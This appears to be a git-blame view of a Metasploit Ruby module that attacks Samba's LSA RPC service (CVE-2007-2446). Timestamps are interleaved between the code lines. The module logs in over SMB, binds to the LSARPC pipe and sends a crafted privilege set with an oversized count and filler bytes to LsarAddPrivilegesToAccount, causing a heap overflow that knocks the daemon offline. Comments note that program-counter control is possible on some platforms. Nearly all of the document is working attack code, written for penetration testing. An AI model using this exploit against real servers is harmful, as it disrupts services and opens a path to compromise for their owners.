2007-05-21 20:54:00 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2007-05-21 20:54:00 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2007-05-21 20:54:00 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::DCERPC
|
2015-02-13 23:17:59 +00:00
|
|
|
include Msf::Exploit::Remote::SMB::Client
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Auxiliary::Dos
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Samba lsa_io_privilege_set Heap Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This module triggers a heap overflow in the LSA RPC service
|
|
|
|
of the Samba daemon.
|
|
|
|
},
|
|
|
|
'Author' => [ 'hdm' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2007-2446'],
|
2016-07-15 17:00:31 +00:00
|
|
|
['OSVDB', '34699'],
|
2013-08-30 21:28:54 +00:00
|
|
|
]
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
OptString.new('SMBPIPE', [ true, "The pipe name to use", 'LSARPC']),
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def run
|
|
|
|
|
|
|
|
pipe = datastore['SMBPIPE'].downcase
|
|
|
|
|
|
|
|
print_status("Connecting to the SMB service...")
|
|
|
|
connect()
|
|
|
|
smb_login()
|
|
|
|
|
|
|
|
datastore['DCERPC::fake_bind_multi'] = false
|
|
|
|
|
|
|
|
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
|
|
|
|
print_status("Binding to #{handle} ...")
|
|
|
|
dcerpc_bind(handle)
|
|
|
|
print_status("Bound to #{handle} ...")
|
|
|
|
|
2015-04-03 11:12:23 +00:00
|
|
|
# Linux: Needs heap magic to work around glibc (or TALLOC mode for 3.0.20+)
|
2013-08-30 21:28:54 +00:00
|
|
|
# Mac OS X: PC control via memcpy to stack ptr
|
2015-04-03 11:12:23 +00:00
|
|
|
# Solaris: PC control via memcpy to stack ptr
|
2013-08-30 21:28:54 +00:00
|
|
|
|
|
|
|
stub = lsa_open_policy(dcerpc)
|
|
|
|
stub << NDR.long(1)
|
|
|
|
stub << NDR.long(0xffffffff)
|
|
|
|
stub << NDR.long(0x100)
|
|
|
|
stub << "X" * 0x100
|
|
|
|
|
|
|
|
print_status("Calling the vulnerable function...")
|
|
|
|
|
|
|
|
begin
|
|
|
|
# LsarAddPrivilegesToAccount
|
|
|
|
dcerpc.call(0x13, stub)
|
|
|
|
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
|
|
|
print_good('Server did not respond, this is expected')
|
|
|
|
rescue => e
|
|
|
|
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
|
|
|
|
print_good('Server disconnected, this is expected')
|
|
|
|
else
|
|
|
|
raise e
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
disconnect
|
|
|
|
end
|
2007-05-21 20:54:00 +00:00
|
|
|
|
2008-11-18 20:00:31 +00:00
|
|
|
end
|